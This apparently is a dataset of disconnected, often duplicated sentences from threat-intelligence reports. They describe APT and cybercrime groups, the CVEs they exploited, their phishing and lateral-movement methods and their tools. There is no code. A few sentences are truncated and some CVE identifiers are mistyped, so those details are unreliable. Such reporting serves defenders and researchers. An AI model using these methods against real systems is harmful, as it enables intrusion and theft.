PLATINUM 's persistent use of spear phishing tactics ( phishing attempts aimed at specific individuals ) and access to previously undiscovered zero-day exploits have made it a highly resilient threat .
The group 's persistent use of spear phishing tactics ( phishing attempts aimed at specific individuals ) and access to previously undiscovered zero-day exploits have made it a highly resilient threat .
We believe that the Carbanak campaign is a clear indicator of a new era in cybercrime in which criminals use APT techniques directly against the financial industry instead of through its customers .
Carbanak has its origin in more common financial fraud including theft from consumer and corporate bank accounts in Europe and Russia , using standard banking malware , mainly Carberp .
However , in September last year , our friends at CSIS published a blog detailing a new Carbanak variant affecting one of its customers .
PIVY also played a key role in the 2011 campaign known as Nitro that targeted chemical makers , government agencies , defense contractors , and human rights groups.10,11 Still active a year later , the Nitro attackers used a zero-day vulnerability in Java to deploy PIVY in 2012 .
Each of the spear phishing attacks contained links to .doc files , which were really RTF documents that attempt to exploit CVE-2017-8570 ( Composite Moniker ) .
The Word document usually exploits CVE-2012-0158 .
Sometimes the attackers send an MS PowerPoint document instead , which exploits CVE-2014-6352 .
Sometimes Patchwork send an MS PowerPoint document instead , which exploits CVE-2014-6352 .
The malicious documents that Unit 42 examined contained legitimate decoy lures as well as malicious embedded EPS files targeting the CVE-2015-2545 and CVE-2017-0261 vulnerabilities .
Older documents used by Patchwork focused on the CVE-2017-0261 vulnerability , however in late January 2018 when , paradoxically , newer documents abandoned this vulnerability to attack the older CVE-2015-2545 vulnerability .
PittyTiger has also been seen using Heartbleed vulnerability in order to directly get valid credentials .
They have also been seen using Heartbleed vulnerability in order to directly get valid credentials .
One of the favorite methods used by the Pitty Tiger group to infect users is to use a Microsoft Office Word document which exploits a specific vulnerability ( CVE-2012-0158 ) .
PittyTiger could also use CVE-2014-1761 , which is more recent .
PLATINUM is known to have used a number of zero-day exploits , for which no security update is available at the time of transmission , in these attempts .
The document , when opened , used an embedded ActiveX control to download a JavaScript file from a remote site that used a previously unknown vulnerability in some versions of Windows ( later designated CVE-2013-7331 ) to read information about the browser 's installed components .
When the document was opened in Word , PLATINUM exploited a previously unknown vulnerability in the Microsoft Office PostScript interpreter ( designated CVE-2015-2545 ) that enabled it to execute the attacker 's code and drop an attacker-generated malicious DLL onto the computer .
The DLL exploited another previously unknown vulnerability ( designated CVE-2015-2546 ) in the Windows kernel , which enabled it to elevate privileges for the Word executable and subsequently install a backdoor through the application .
When the document was opened in Word , it exploited a previously unknown vulnerability in the Microsoft Office PostScript interpreter ( designated CVE-2015-2545 ) that enabled it to execute the attacker 's code and drop an attacker-generated malicious DLL onto the computer .
In total , PLATINUM made use of four zero-day exploits during these two attack campaigns ( two remote code execution bugs , one privilege escalation , and one information disclosure ) , showing an ability to spend a non-trivial amount of resources to either acquire professionally written zero-day exploits from unknown markets , or research and utilize the zero-day exploits themselves .
PLATINUM has used several zero-day exploits against their victims .
Even if CVE-2015-2546 affected Windows 10 , the exploitation would have required much more technical prowess to succeed ; ultimately , SMEP makes it more difficult for attackers .
For example , one zero-day vulnerability exploit ( CVE-2015-2545 ) used by PLATINUM was addressed immediately in September 2015 .
It possesses a wide range of technical exploitation capabilities , significant resources for researching or purchasing complicated zero-day exploits , the ability to sustain persistence across victim networks for years , and the manpower to develop and maintain a large number of tools to use within unique victim networks .
In 2016 , an attack campaign by this group was recorded in early May that made use of an exploit for CVE-2016-4117 , a vulnerability in Adobe Flash Player , which at the time was both unknown and unpatched .
To deliver the malware to the victim machines , the Rocke group exploits vulnerabilities in Apache Struts 2 , Oracle WebLogic , and Adobe ColdFusion .
However , around a month ago , Rocke started targeting systems that run Jenkins by attempting to exploit CVE-2018-1000861 and CVE-2019-1003000 .
The Shadow Brokers first emerged in August , when they posted links to a selection of NSA exploits and hacking tools onto Github and other websites .
In April , 2018 , the 360 Core Security takes the lead in capturing the APT-C-06 group’s new APT attack using 0-day vulnerabilities (CVE-2018-8174) in the wild .
The group has demonstrated access to zero-day vulnerabilities (CVE-2018-0802) , and the ability to incorporate them into operations .
FireEye observed a high volume of activity associated with the exploitation of CVE-2017-10271 following the public posting of proof of concept code in December 2017 .
If the lateral movement with credentials fails , then the malware uses PingCastle MS17-010 scanner (PingCastle is a French Active Directory security tool) to scan that particular host to determine if its vulnerable to EternalBlue , and uses it to spread to that host .
Tactic #1: Delivering the miner directly to a vulnerable serverSome tactics we've observed involve exploiting CVE-2017-10271 , leveraging PowerShell to download the miner directly onto the victim’s system (Figure 1) , and executing it using ShellExecute() .
We assess that the actors employing this latest Flash zero-day are a suspected North Korean group we track as TEMP.Reaper .
Figure 2: Zyklon attack flowInfection Techniques CVE-2017-8759 .
This vulnerability was discovered by FireEye in September 2017 , and it is a vulnerability we have observed being exploited in the wild .
Figure 3: Embedded URL in OLE object CVE-2017-11882 Similarly , we have also observed actors leveraging another recently discovered vulnerability (CVE-2017-11882) in Microsoft Office .
The other overlapping files are tools used by the adversary to locate other systems on the network (etool.exe) , check to see if they are vulnerable to CVE-2017-0144 (EternalBlue) patched in MS07-010 (checker1.exe) and pivot to them using remote execution functionality offered by a tool similar to PsExec offered by Impacket (psexec.exe) .
The files uploaded to this webshell included the same compiled python script that would scan remote systems that were vulnerable to CVE-2017-0144 (EternalBlue) that we saw uploaded to the other errr.aspx webshell .
We believe the actors pivoted to other systems on the network using stolen credentials and by exploiting the CVE-2017-0144 (EternalBlue) vulnerability patched in MS17-010 .
Code contained inside one of the slides triggers an exploit for CVE-2017-8759 , a remote code execution vulnerability in Microsoft .NET framework .
According to FireEye , the admin@338 sent out emails containing malicious documents designed to exploit Microsoft Office vulnerabilities in an effort to deliver a piece of malware dubbed LOWBALL .
According to FireEye , the attackers sent out emails containing malicious documents designed to exploit Microsoft Office vulnerabilities in an effort to deliver a piece of malware dubbed LOWBALL .
Similar to RIPTIDE campaigns , APT12 infects target systems with HIGHTIDE using a Microsoft Word ( .doc ) document that exploits CVE-2012-0158 .
The Sofacy group spearphished targets in several waves with Flash exploits leading to their Carberp based JHUHUGIT downloaders and further stages of malware .
APT28 spearphished targets in several waves with Flash exploits leading to their Carberp based JHUHUGIT downloaders and further stages of malware .
The group spearphished targets in several waves with Flash exploits leading to their Carberp based JHUHUGIT downloaders and further stages of malware .
APT28 is using novel techniques involving the EternalBlue exploit and the open source tool Responder to spread laterally through networks and likely target travelers .
The JHUHUGIT implant became a relatively popular first stage for the Sofacy attacks and was used again with a Java zero-day ( CVE-2015-2590 ) in July 2015 .
We are however only aware of one instance - the exploitation of CVE-2013-0640 to deploy MiniDuke - where we believe the exploited vulnerability was a zero-day at the time that the group acquired the exploit .
FireEye confirmed that since at least November 2017 , APT37 exploited a zero-day Adobe Flash vulnerability , CVE-2018-4878 , to distribute DOGCALL malware to South Korean victims .
FireEye iSIGHT Intelligence confirmed that since at least November 2017 , APT37 exploited a zero-day Adobe Flash vulnerability , CVE-2018-4878 , to distribute DOGCALL malware to South Korean victims .
A well-funded , highly active group of Middle Eastern hackers was caught , yet again , using a lucrative zero-day exploit in the wild to break into computers and infect them with powerful spyware developed by an infamous cyberweapons dealer named Gamma Group .
A well-funded , highly active BlackOasis group of Middle Eastern hackers was caught , yet again , using a lucrative zero-day exploit in the wild to break into computers and infect them with powerful spyware developed by an infamous cyberweapons dealer named Gamma Group .
Kaspersky found the BlackOasis group was exploiting a Adobe Flash Player zero-day vulnerability ( CVE-2016-4117 ) to remotely deliver the latest version of " FinSpy " malware , according to a new blog post published Monday .
Kaspersky found the group was exploiting a Adobe Flash Player zero-day vulnerability ( CVE-2016-4117 ) to remotely deliver the latest version of " FinSpy " malware , according to a new blog post published Monday .
BRONZE BUTLER has demonstrated the ability to identify a significant zero-day vulnerability within a popular Japanese corporate tool and then use scan-and-exploit techniques to indiscriminately compromise Japanese Internet-facing enterprise systems .
The group has demonstrated the ability to identify a significant zero-day vulnerability within a popular Japanese corporate tool and then use scan-and-exploit techniques to indiscriminately compromise Japanese Internet-facing enterprise systems .
BRONZE BUTLER has used phishing emails with Flash animation attachments to download and execute Daserf malware , and has also leveraged Flash exploits for SWC attacks .
The group has used phishing emails with Flash animation attachments to download and execute Daserf malware , and has also leveraged Flash exploits for SWC attacks .
While investigating a 2016 intrusion , Secureworks identified BRONZE BUTLER exploiting a then-unpatched remote code execution vulnerability ( CVE-2016-7836 ) in SKYSEA Client View , a popular Japanese product used to manage an organization .
While investigating a 2016 intrusion , Secureworks incident responders identified BRONZE BUTLER exploiting a then-unpatched remote code execution vulnerability ( CVE-2016-7836 ) in SKYSEA Client View , a popular Japanese product used to manage an organization .
Carbanak is a remote backdoor ( initially based on Carberp ) , designed for espionage , data exfiltration and to provide remote access to infected machines .
If found on the target system , Carbanak will try to exploit a known vulnerability in Windows XP , Windows Server 2003 , Windows Vista , Windows Server, Windows 7 , Windows 8 , and Windows Server 2012 , CVE-2013-3660 , for local privilege escalation .
To enable connections to the infected computer using the Remote Desktop Protocol ( RDP ) , Carbanak sets Termservice service execution mode to Auto .
Carbanak is also aware of the IFOBS banking application and can , on command , substitute the details of payment documents in the IFOBS system .
Sensitive bank documents have be found on the servers that were controlling Carbanak .
Existing telemetry indicates that the Carbanak attackers are trying to expand operations to other Baltic and Central Europe countries , the Middle East , Asia and Africa .
We believe that the Carbanak campaign is a clear indicator of a new era in cybercrime in which criminals use APT techniques directly against the financial industry instead of through its customers .
This report describes the details and type of operations carried out by Carbanak that focuses on financial industry , such as payment providers , retail industry and PR companies .
Carbanak has its origin in more common financial fraud including theft from consumer and corporate bank accounts in Europe and Russia , using standard banking malware , mainly Carberp .
From 2013 Carbanak intensified its activity focused on banks and electronic payment systems in Russia and in the post-Soviet space .
Since 2013 Carbanak has successfully gained access to networks of more than 50 banks and 5 payment systems .
To reduce the risk of losing access to the internal bank network , the Carbanak , in addition to malicious programs , also used for remote access legitimate programs such as Ammy Admin and Team Viewer .
Additionally the reports on Carbanak show a different picture , where banks targeted outside of Russia , specifically Europe , USA and Japan are mentioned , which does not match our research .
These attacks have included criminal groups responsible for the delivery of NewPosThings , MalumPOS and PoSeidon point of sale Malware , as well as Carbanak from the Russian criminal organization we track as Carbon Spider .
The leader of the crime gang behind the Carbanak and Cobalt malware attacks targeting over a 100 financial institutions worldwide has been arrested in Alicante , Spain , after a complex investigation conducted by the Spanish National Police .
Since 2013 , the cybercrime gang have attempted to attack banks , e-payment systems and financial institutions using pieces of malware they designed , known as Carbanak and Cobalt .
Other public tools used by the CopyKittens are Metasploit , a well-known free and open source framework for developing and executing exploit code against a remote target machine ; Mimikatz , a post-exploitation tool that performs credential dumping ; and Empire , a PowerShell and Python post-exploitation agent .
Just a few months later , in February 2015 , we announced the discovery of Carbanak , a cyber-criminal gang that used custom malware and APT techniques to steal millionsdollars while infecting hundreds of financial institutions in at least 30 countries .
However , in September last year , our friends at CSIS published a blog detailing a new Carbanak variant affecting one of its customers .
In one remarkable case , the Carbanak 2.0 gang used its access to a financial institution that stores information about shareholders to change the ownership details of a large company .
This Gorgon Group campaign leveraged spear phishing emails with Microsoft Word documents exploiting CVE-2017-0199 .
Ke3chang has also leveraged a Java zero-day vulnerability ( CVE-2012-4681 ) , as well as older , reliable exploits for Microsoft Word ( CVE-2010-3333 ) and Adobe PDF Reader ( CVE-2010-2883 ) .
While the URL acts similarly to how eye-watch.in : 443 delivers payloads , we also saw the URL leveraging and exploiting security flaws in Flash : CVE-2015-8651 , CVE-2016-1019 , and CVE-2016-4117 .
The exploit , which takes advantage of CVE-2018-4878 , allows an attacker to execute arbitrary code such as an implant .
Documents with the Flash exploit managed to evade static defenses and remain undetected as an exploit on VirusTotal .
WannaCry utilizes EternalBlue by crafting a custom SMB session request with hard-coded values based on the target system .
WannaCry leverages an exploit , codenamed " EternalBlue " , that was released by the Shadow Brokers on April 14 , 2017 .
Microsoft addressed the SMBv1 vulnerabilities in March 2017 with Security Bulletin MS17-010 .
The worm leverages an SMBv1 exploit that originates from tools released by the Shadow Brokers threat group in April .
If the DoublePulsar backdoor does not exist , then the SMB worm attempts to compromise the target using the Eternalblue SMBv1 exploit .
Leafminer has developed exploit payloads for this framework ( Table 2 ) that deliver custom malware through attacks against SMB vulnerabilities described by Microsoft .
The EternalBlue exploit from the framework received worldwide attention after being used in the ransomware campaigns WannaCry in May and Petya / NotPetya in June 2017 .
The Leafminer operators use EternalBlue to attempt lateral movement within target networks from compromised staging servers .
Symantec also observed attempts by Leafminer to scan for the Heartbleed vulnerability ( CVE-2014-0160 ) from an attacker-controlled IP address .
The attachments exploited CVE-2017-8759 which was discovered and documented only five days prior to the campaign .
Some of the documents exploited CVE-2017-0199 to deliver the payload .
The group 's capabilities are more than the much discussed CVE-2012-0158 exploits over the past few years .
Instead , the Spring Dragon group is known to have employed spearphish exploits , strategic web compromises , and watering holes attack .
The group 's spearphish toolset includes PDF exploits , Adobe Flash Player exploits , and the common CVE-2012-0158 Word exploits including those generated from the infamous " Tran Duy Linh " kit .
While this particular actor effectively used their almost worn out CVE-2012-0158 exploits in the past , Spring Dragon employs more involved and creative intrusive activity as well .
To mitigate the threat of the described campaign , security teams can consider blocking access to the C2 server 103.236.150.14 and , where applicable , ensure that the Microsoft Security Update KB2553204 is installed in order to patch the CVE-2017-11882 vulnerability .
The actors attempted to exploit CVE-2014-6332 using a slightly modified version of the proof-of-concept ( POC ) code to install a Trojan called Emissary , which is related to the Operation Lotus Blossom campaign .
Both attachments are malicious Word documents that attempt to exploit the Windows OLE Automation Array Remote Code Execution Vulnerability tracked by CVE-2014-6332 .
Lotus Blossom attempted to exploit CVE-2014-6332 using the POC code available in the wild .
Lotus Blossom was attempting to exploit CVE-2014-6332 to install a new version of the Emissary Trojan , specifically version 5.3 .
POWRUNER was delivered using a malicious RTF file that exploited CVE-2017-0199 .
In November 2017 , APT34 leveraged the Microsoft Office vulnerability CVE-2017-11882 to deploy POWRUNER and BONDUPDATER less than a week after Microsoft issued a patch .
PIVY also played a key role in the 2011 campaign known as Nitro that targeted chemical makers , government agencies , defense contractors , and human rights groups.10,11 Still active a year later , the Nitro attackers used a zero-day vulnerability in Java to deploy PIVY in 2012 .
Just recently , PIVY was the payload of a zero-day exploit in Internet Explorer used in what is known as a " strategic web compromise " attack against visitors to a U.S. government website and a variety of others .
It came in the form of a " Tran Duy Linh " CVE-2012-0158 exploit kit document MD5 : de8a242af3794a8be921df0cfa51885f61 and was observed on April 10 , 2014 .
This bait document , or email attachment , appears to be a standard Word document , but is in fact an CVE-2012-0158 exploit , an executable with a double extension , or an executable with an RTLO filename , so it can execute code without the user 's knowledge or consent .
PROMETHIUM and NEODYMIUM both used an exploit for CVE-2016-4117 , a vulnerability in Adobe Flash Player that , at the time , was both unknown and unpatched .
PROMETHIUM and NEODYMIUM both used a zero-day exploit that executed code to download a malicious payload .
NEODYMIUM also used the exact same CVE-2016-4117 exploit code that PROMETHIUM used , prior to public knowledge of the vulnerability 's existence .
In May 2016 , two apparently unrelated activity groups , PROMETHIUM and NEODYMIUM , conducted attack campaigns in Europe that used the same zeroday exploit while the vulnerability was publicly unknown .
The Middle Eastern hacker group in this case is codenamed " BlackOasis " Kaspersky found the group was exploiting a Adobe Flash Player zero-day vulnerability ( CVE-2016-4117 ) to remotely deliver the latest version of " FinSpy " malware , according to a new blog post published Monday .
The discovery by Kaspersky marks at least the fifth zero-day exploit used by BlackOasis and exposed by security researchers since June 2015 .
Less than a week after Microsoft issued a patch for CVE-2017-11882 on Nov. 14 , 2017 , FireEye observed an attacker using an exploit for the Microsoft Office vulnerability to target a government organization in the Middle East .
The backdoor was delivered via a malicious .rtf file that exploited CVE-2017-0199 .
In this latest campaign , APT34 leveraged the recent Microsoft Office vulnerability CVE-2017-11882 to deploy POWRUNER and BONDUPDATER .
During the past few months , APT34 has been able to quickly incorporate exploits for at least two publicly vulnerabilities ( CVE-2017-0199 and CVE-2017-11882 ) to target organizations in the Middle East .
In November 2017 , APT34 leveraged the Microsoft Office vulnerability CVE-2017-11882 to deploy POWRUNER and BONDUPDATER less than a week after Microsoft issued a patch .
POWRUNER was delivered using a malicious RTF file that exploited CVE-2017-0199 .
Specifically , Suckfly used a specially crafted web page to deliver an exploit for the Microsoft Windows OLE Remote Code Execution Vulnerability ( CVE-2014-6332 ) , which affects specific versions of Microsoft Windows .
This time , however , TA459 opportunistically used spear-phishing emails with a Microsoft Word attachment exploiting the recently patched CVE-2017-0199 to deploy the ZeroT Trojan , which in turn downloaded the PlugX Remote Access Trojan ( RAT ) .
This time , however , attackers opportunistically used spear-phishing emails with a Microsoft Word attachment exploiting the recently patched CVE-2017-0199 to deploy the ZeroT Trojan , which in turn downloaded the PlugX Remote Access Trojan ( RAT ) .
Data from the early part of this year shows that the Taidoor attackers rampantly used malicious.DOC files to exploit a Microsoft Common Controls vulnerability , CVE-2012-0158 .
TG-3390 uses older exploits to compromise targets , and CTU researchers have not observed the threat actors using zero-day exploits as of this publication .
TG-3390 actors have used Java exploits in their SWCs .
In particular , TG-3390 has exploited CVE-2011-3544 , a vulnerability in the Java Runtime Environment , to deliver the HTTPBrowser backdoor ; and CVE-2010-0738 , a vulnerability in JBoss , to compromise internally and externally accessible assets used to redirect users' web browsers to exploit code .
In particular , the threat actors have exploited CVE-2011-3544 , a vulnerability in the Java Runtime Environment , to deliver the HTTPBrowser backdoor ; and CVE-2010-0738 , a vulnerability in JBoss , to compromise internally and externally accessible assets used to redirect users' web browsers to exploit code .
TG-3390 's activities indicate a preference for leveraging SWCs and scan-and-exploit techniques to compromise target systems .
Even when we observed LuckyMouse using weaponized documents with CVE-2017-11882 ( Microsoft Office Equation Editor , widely used by Chinese-speaking actors since December 2017 ) , we can′t prove they were related to this particular attack .
LuckyMouse has been spotted using a widely used Microsoft Office vulnerability ( CVE-2017-11882 ) .
No zero-day vulnerabilities were used to breach targeted networks , instead " TG-3390 relied on old vulnerabilities such as CVE-2011-3544 " — a near-year-old Java security hole — " and CVE-2010-0738 to compromise their targets " , Dell SecureWorks' researchers reported .
Execute a command through exploits for CVE-2017-11882 .
Execute a command through exploits for CVE-2018-0802 .
The document attached to this e-mail exploits CVE-2012-0158 .
Tropic Trooper is also still exploiting CVE-2012-0158 , as are many threat actors .
The documents attached to spear-phishing e-mails used in both attacks contain code that exploits CVE-2012-0158 , which despite its age remains one of the most common Microsoft Word vulnerabilities being exploited by multiple threat actors .
the backdoor is packaged together with the CVE-2013-5065 EoP exploit and heavily obfuscated .
While we were unable to recover the initial vulnerability used , it is possibly the same CVE-2014-0515 Adobe Flash exploit first reported by Cisco TRAC in late July .
However , to increase success rates APT20 can use zero-day exploits , so even a properly patched system would be compromised .
PLEAD also dabbled with a short-lived , fileless version of their malware when it obtained an exploit for a Flash vulnerability ( CVE-2015-5119 ) that was leaked during the Hacking Team breach .
PLEAD also uses CVE-2017-7269 , a buffer overflow vulnerability Microsoft Internet Information Services ( IIS ) 6.0 to compromise the victim 's server .
Kaspersky Lab has detected a new method of first infection that uses a drive-by-download with a flash exploit ( CVE-2015-5119 , the one leaked from The Hacking Team incident ) .
If the document was delivered with macros instead of exploits ( CVE-2012-0158 , CVE-2013-3906 or CVE-2014-1761 ) , then the document contained instructions for enabling macros .
Moreover , they used the same exploit kit Niteris as that in the Corkow case .
The CVE-2012-0773 was originally discovered by VUPEN and has an interesting story .
The decoy documents used by the InPage exploits suggest that the targets are likely to be politically or militarily motivated .
While documents designed to exploit the InPage software are rare , they are not new – however in recent weeks Unit42 has observed numerous InPage exploits leveraging similar shellcode , suggesting continued use of the exploit previously discussed by Kaspersky .
Compared to Patchwork , whose Trojanized documents exploit at least five security flaws , Confucius' backdoors are delivered through Office files exploiting memory corruption vulnerabilities CVE-2015-1641 and CVE-2017-11882 .
Lately , Patchwork has been sending multiple RTF files exploiting CVE-2017-8570 .
Confucius' backdoors are delivered through Office documents exploiting memory corruption vulnerabilities CVE-2015-1641 and CVE-2017-11882 .
The sctrls backdoor we came across is delivered via RTF files exploiting CVE-2015-1641 .
The documents that exploit CVE2017-11882 download another payload — an HTML Application ( HTA ) file toting a malicious Visual Basic ( VBS ) script — from the server , which is executed accordingly by the command-line tool mshta.exe .
Hackers use the exploits " Nitris Exploit Kit " ( earlier known as CottonCastle ) , which is not available in open sources and sold only to trusted users .
Hackers first actively spread bots using the Niteris exploit , and then search for infected devices at banks amongst their bots by analyzing IP addresses , cracked passwords and results of the modules performance .
In August 2014 , some of our users observed targeted attacks with a variation of CVE-2012-0158 and an unusual set of malware .
Longhorn , which we internally refer to as " The Lamberts " , first came to the attention of the ITSec community in 2014 , when our colleagues from FireEye discovered an attack using a zero day vulnerability ( CVE-2014-4148 ) .
The first time the Lambert family malware was uncovered publicly was in October 2014 , when FireEye posted a blog about a zero day exploit ( CVE-2014-4148 ) used in the wild .
While in most cases the infection vector remains unknown , the high profile attack from 2014 used a very complex Windows TTF zero-day exploit ( CVE-2014-4148 ) .
To further exemplify the proficiency of the attackers leveraging the Lamberts toolkit , deployment of Black Lambert included a rather sophisticated TTF zero day exploit , CVE-2014-4148 .
This sample was also found to be deployed using the CVE-2012-0158 vulnerability .
Our analysis shows that actors attempted to exploit CVE-2012-0158 to install NetTraveler Trojan .
Unit 42 's analysis shows that NetTraveler attempted to exploit CVE-2012-0158 to install NetTraveler Trojan .
Our analysis shows that NetTraveler attempted to exploit CVE-2012-0158 to install NetTraveler Trojan .
In this report , we'll review how the actors attempted to exploit CVE-2012-0158 to install the NetTraveler Trojan .
In this report , we'll review how NetTraveler attempted to exploit CVE-2012-0158 to install the NetTraveler Trojan .
In this report , we'll review how the NetTraveler attempted to exploit CVE-2012-0158 to install the NetTraveler Trojan .
Kaspersky Lab 's products detect the Microsoft Office exploits used in the spear-phishing attacks , including Exploit.MSWord.CVE-2010-333 , Exploit.Win32.CVE-2012-0158 .
The files exploit the well-known Microsoft Office vulnerability , CVE-2012-0158 , to execute malicious code in order to take control of the targeted systems .
Earlier this month , Securelist 's technology caught another zero-day Adobe Flash Player exploit deployed in targeted attacks .
Operation Daybreak appears to have been launched by ScarCruft in March 2016 and employs a previously unknown ( 0-day ) Adobe Flash Player exploit .
Adobe Flash Player exploit .
It is also possible that ScarCruft deployed another zero day exploit , CVE-2016-0147 , which was patched in April .
Operation Erebus leverages another Flash Player exploit ( CVE-2016-4117 ) through the use of watering hole attacks .
ScarCruft 's Operation Erebus leverages another Flash Player exploit ( CVE-2016-4117 ) through the use of watering hole attacks .
Nevertheless , resourceful threat actors such as ScarCruft will probably continue to deploy zero-day exploits against their high profile targets .
This malware uses the public privilege escalation exploit code CVE-2018-8120 or UACME which is normally used by legitimate red teams .
Earlier this month , we caught another zero-day Adobe Flash Player exploit deployed in targeted attacks .
The other one , ScarCruft 's Operation Erebus employs an older exploit , for CVE-2016-4117 and leverages watering holes .
The other one , " Operation Erebus " employs an older exploit , for CVE-2016-4117 and leverages watering holes .
The ScarCruft APT gang has made use of a Flash zero day patched Thursday by Adobe to attack more than two dozen high-profile targets in Russia and Asia primarily .
Adobe on Thursday patched a zero-day vulnerability in Flash Player that has been used in targeted attacks carried out by a new APT group operating primarily against high-profile victims in Russia and Asia .
Researchers at Kaspersky Lab privately disclosed the flaw to Adobe after exploits against the zero-day were used in March by the ScarCruft APT gang in what Kaspersky Lab is calling Operation Daybreak .
Kaspersky speculates that ScarCruft could also be behind another zero-day , CVE-2016-0147 , a vulnerability in Microsoft XML Core Services that was patched in April .
Another set of attacks called Operation Erebus leverages another Flash exploit , CVE-2016-4117 , and relies on watering hole attacks as a means of propagation .
Thursday 's Flash Player update patched 36 vulnerabilities in total including the zero day CVE-2016-4171 .
Wild Neutron 's attacks in 2015 uses a stolen code signing certificate belonging to Taiwanese electronics maker Acer and an unknown Flash Player exploit .
Wild Neutron 's attack took advantage of a Java zero-day exploit and used hacked forums as watering holes .
Instead of Flash exploits , older Wild Neutron exploitation and watering holes used what was a Java zero-day at the end of 2012 and the beginning of 2013 , detected by Kaspersky Lab products as Exploit.Java.CVE-2012-3213.b .
In that case ,we observed Buhtrap using a local privilege escalation exploit , CVE-2019-1132 , against one of its victims .
Prior to that report ,we published detail analysis on malware exploiting CVE-2018-8414 vulnerability (remote code execution in SettingContent-ms) ,which is believed a work of DarkHydrus .
WannaCry incorporated the leaked EternalBlue exploit that used two known vulnerabilities in Windows CVE-2017-0144 and CVE-2017-0145 to turn the ransomware into a worm , capable of spreading itself to any unpatched computers on the victim's network and also to other vulnerable computers connected to the internet .
One vulnerability is a Windows zero-day vulnerability (CVE-2019-0703) discovered by Symantec .
Bemstour exploits two Windows vulnerabilities in order to achieve remote kernel code execution on targeted computers .
The second Windows vulnerability (CVE-2017-0143) was patched in March 2017 after it was discovered to have been used by two exploit tools—EternalRomance and EternalSynergy—that were also released as part of the ShadowThese include CVE-2010-3962 as part of an attack campaign in 2010 and CVE-2014-1776 in 2014 .
Beginning in August 2016 , a group calling itself the Shadowbegan releasing tools it claimed to have originated from the Equation Group .
The zero-day vulnerability found and reported by Symantec (CVE-2019-0703) occurs due to the way the Windows SMB Server handles certain requests .
CVE-2017-0143 was also used by two other exploit tools—EternalRomance and EternalSynergy—that were released as part of the Shadow Brokers leak in April 2017 .
this RTF exploits again the CVE-2017_1882 on eqnedt32.exe .
At this time , we do not believe that the attackers found a new ASA exploit .
We believe the groups moved to use CVE-2018-0798 instead of the other Microsoft Equation Editor Remote Code Execution (RCE) vulnerabilities because the former is more reliable as it works on all known versions of Equation Editor .
The analyzed RTF files share the same object dimension (objw2180\objh300) used to track the RTF weaponizer in our previous report ,the sample was not exploiting CVE-2017-11882 or CVE-2018-0802 .
After further analysis , it was discovered that the RTF files were exploiting the CVE-2018-0798 vulnerability in Microsoft’s Equation Editor (EQNEDT32) .
Anomali Researchers were able to identify multiple samples of malicious RTF documents ITW using the same exploit for CVE-2018-0798 .
CVE-2018-0798 is an RCE vulnerability , a stack buffer overflow that can be exploited by a threat actor to perform stack corruption .
As observed previously with CVE-2017-11882 and CVE-2018-0802 , the weaponizer was used exclusively by Chinese cyber espionage actors for approximately one year December 2017 through December 2018 , after which cybercrime actors began to incorporate it in their malicious activity .
Analysis of the Royal Road weaponizer has resulted in the discovery that multiple Chinese threat groups started utilizing CVE-2018-0798 in their RTF weaponizer .
These findings also suggest that the threat groups have robust exploit developing capabilities because CVE-2018-0798 is not widely reported on and it is typically not incorporated into publicly available weaponizers .
Upon opening of the MS Word document ,our embedded file exploits CVE-2017-11882 to drop a malicious fake Norton Security Shell Extension module , 'NavShExt.dll' , which is then injected into iexplore.exe to install the backdoor , begin collection , and activate command and control .
Moving through the infection process , NetWitness Endpoint detects the initial exploit CVE-2017-1182 in action as the Microsoft Equation Editor , 'EQNEDT32.exe' , scores high for potentially malicious activity .
Attackers relied on Microsoft Equation Editor exploit CVE-2018-0798 to deliver a custom malware that Proofpoint researchers have dubbed Cotx RAT Maudi Surveillance Operation which was previously reported in 2013 .
specifically CVE-2018-0798 , before downloading subsequent payloads .
Dubbed ‘Operation Sheep’ , this massive data stealing campaign is the first known campaign seen in the wild to exploit the Man-in-the-Disk vulnerability revealed by Check Point Research earlier last year .
Notably , APT41 was observed using proof-of-concept exploit code for CVE-2019-3396 within 23 days after the Confluence .
We’ve discovered a new version of BalkanDoor with a new method for execution/installation: an exploit of the WinRAR ACE vulnerability CVE-2018-20250 .
In some of the latest samples of BalkanDoor detected in 2019 , the malware is distributed as an ACE archive , disguised as a RAR archive (i.e , not an executable file) , specially crafted to exploit the WinRAR ACE vulnerability CVE-2018-20250 .
The actor attempts to exploit CVE-2018–8440 — an elevation of privilege vulnerability in Windows when it improperly handles calls to Advanced Local Procedure Call — to elevate the privileges using a modified proof-of-concept exploit .
The China Chopper actor activity starts with the download and execution of two exploit files which attempt to exploit the Windows vulnerabilities CVE-2015-0062 , CVE-2015-1701 and CVE-2016-0099 to allow the attacker to modify other objects on the server .
Previously , Cloud Atlas dropped its validator” implant named PowerShower” directly , after exploiting the Microsoft Equation vulnerability CVE-2017-11882 mixed with CVE-2018-0802 .
The following archive caught our attention for exploiting a WinRAR unacev2 module vulnerability and for having interesting content .
Mimikatz is a post-exploitation tool that allows attackers to extract credentials from volatile memory .
Analysis of the emails has shown that the attachment contains an exploit for the CVE-2017-11882 vulnerability .
The exploit installs Silence’s loader , designed to download backdoors and other malicious programs .
We believe Emissary Panda exploited a recently patched vulnerability in Microsoft SharePoint tracked by CVE-2019-0604 , which is a remote code execution vulnerability used to compromise the server and eventually install a webshell .
Of particular note is their use of tools to identify systems vulnerable to CVE-2017-0144 , which is the same vulnerability exploited by EternalBlue that is best known for its use in the WannaCry attacks of 2017 .
In addition to the aforementioned post-exploitation tools , the actors used these webshells to upload legitimate executables that they would use DLL sideloading to run a malicious DLL that has code overlaps with known Emissary Panda attacks .
PUTTER PANDA are a determined adversary group who have been operating for several years , conducting intelligence-gathering operations with a significant focus on the space sector .
PUTTER PANDA is likely to continue to aggressively target Western entities that hold valuable information or intellectual property relevant to these interests .
Other groups , such as Buhtrap , Corkow and Carbanak , were already known to target and successfully steal money from financial institutions and their customers in Russia .
Related or not , one thing is certain : the actor ( s ) using these customized BlackEnergy malware are intent on stealing information from the targets .
The group uses legitimate administration tools to fly under the radar in their post-exploitation phase , which makes detection of malicious activity , as well as attribution more complicated .
In 2014 , Unit 42 released a report titled " 419 Evolution " that documented one of the first known cases of Nigerian cybercriminals using malware for financial gain .
The threat actor attempted to compromise critical assets , such as database servers , billing servers , and the active directory .
The threat actor was able to leverage the web shell to run reconnaissance commands , steal credentials , and deploy other tools .
In order to exfiltrate data from a network segment not connected to the Internet , the threat actor deployed a modified version of hTran .
Our investigation showed that these attacks were targeted , and that the threat actor sought to steal communications data of specific individuals in various countries .
The attackers involved in these email campaigns leveraged a variety of distribution mechanisms to deliver the information stealing FormBook malware .
We have previously observed APT19 steal data from law and investment firms for competitive economic purposes .
